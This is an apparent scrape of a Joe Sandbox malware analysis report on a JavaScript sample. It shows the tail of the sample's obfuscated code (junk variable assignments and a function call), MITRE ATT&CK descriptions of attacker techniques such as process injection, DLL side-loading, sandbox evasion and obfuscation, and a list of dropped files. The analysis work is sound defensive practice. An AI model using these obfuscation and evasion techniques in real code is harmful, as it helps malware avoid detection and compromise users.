1517	qqttszh = "b";
1518	qqttszh = "J";
1519	qqttszh = "e";
1520	qqttszh = "N";
1521	qqttszh = "g";
1522	qqttszh = "U";
1523	qqttszh = "S";
1524	qqttszh = "c";
1525	qqttszh = "q";
1526	qqttszh = "t";
1527	qqttszh = "S";
1528	qqttszh = "X";
1529	qqttszh = "Q";
1530	qqttszh = "t";
1531	fqhmcjzq = "l";
1532	fqhmcjzq = "S";
1533	fqhmcjzq = "q";
1534	fqhmcjzq = "N";
1535	fqhmcjzq = "V";
1536	fqhmcjzq = "u";
1537	fqhmcjzq = "m";
1538	fqhmcjzq = "V";
1539	fqhmcjzq = "X";
1540	fqhmcjzq = "j";
1541	fqhmcjzq = "W";
1542	fqhmcjzq = "C";
1543	fqhmcjzq = "S";
1544	fqhmcjzq = "H";
1545	fqhmcjzq = "Z";
1546	fqhmcjzq = "S";
1547	nrtbve ( );	nrtbve() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 904223203151262489.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\892d93be-4175-47fa-8e77-3372f38f4564.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7712

Windows Analysis Report
904223203151262489.js